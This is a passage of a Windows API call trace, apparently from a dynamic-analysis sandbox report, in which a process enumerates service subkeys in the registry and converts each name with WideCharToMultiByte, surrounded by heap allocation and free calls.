BaseAddress=0x1c94450) returned 1 [0028.202] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.202] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1, lpName=0x1c829e0, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0028.202] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0028.202] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x1c94450, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0028.202] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.202] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.203] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.203] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.203] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2, lpName=0x1c829e0, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0028.203] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0028.203] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x1c94408, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0028.203] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.203] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.203] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.203] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.203] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3, lpName=0x1c829e0, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0028.203] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0028.203] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x1c94450, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0028.203] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.203] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.203] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.203] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.203] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4, lpName=0x1c829e0, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0028.203] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0028.203] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x1c94408, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0028.203] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.203] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.203] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.203] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.203] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5, lpName=0x1c829e0, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0028.203] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0028.204] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x1c94450, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0028.204] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.204] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.204] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.204] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.204] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6, lpName=0x1c829e0, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0028.204] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.204] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x1c94408, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0028.204] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.204] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.204] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.204] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.204] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7, lpName=0x1c829e0, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0028.204] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.204] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0028.204] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.204] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.204] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.204] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.204] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8, lpName=0x1c829e0, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0028.204] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.204] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x1c94408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0028.204] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.204] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.204] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.204] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.204] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x9, lpName=0x1c829e0, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0028.205] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.205] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0028.205] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.205] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.205] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.205] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.205] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa, lpName=0x1c829e0, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0028.205] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0028.205] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x1c94408, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0028.205] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.205] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.205] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.205] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.205] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb, lpName=0x1c829e0, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0028.205] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.205] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0028.205] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.205] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.205] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.205] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.205] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xc, lpName=0x1c829e0, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0028.205] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.205] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x1c94408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0028.205] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.205] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.206] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.206] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.206] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xd, lpName=0x1c829e0, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0028.206] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.206] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0028.206] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.206] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.206] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.206] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.206] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xe, lpName=0x1c829e0, cchName=0x104 | out: lpName="adsi") returned 0x0 [0028.206] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.206] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x1c94408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0028.206] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.206] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.206] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.206] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.206] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xf, lpName=0x1c829e0, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0028.206] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.206] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x1c94450, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0028.206] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.206] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.206] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.206] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.206] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x10, lpName=0x1c829e0, cchName=0x104 | out: lpName="AFD") returned 0x0 [0028.206] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.206] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x1c94408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0028.207] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.207] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.207] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.207] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.207] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x11, lpName=0x1c829e0, cchName=0x104 | out: lpName="agp440") returned 0x0 [0028.207] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.207] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0028.207] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.207] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.207] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.207] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.207] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x12, lpName=0x1c829e0, cchName=0x104 | out: lpName="ALG") returned 0x0 [0028.207] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.207] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x1c94408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0028.207] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.207] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.207] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.207] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.207] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x13, lpName=0x1c829e0, cchName=0x104 | out: lpName="aliide") returned 0x0 [0028.207] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.207] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0028.207] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.207] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.207] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.207] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.208] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x14, lpName=0x1c829e0, cchName=0x104 | out: lpName="amdide") returned 0x0 [0028.208] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.208] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x1c94408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0028.208] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.208] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.208] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.208] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.208] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x15, lpName=0x1c829e0, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0028.208] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.208] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.208] WideCharToMultiByte (in: 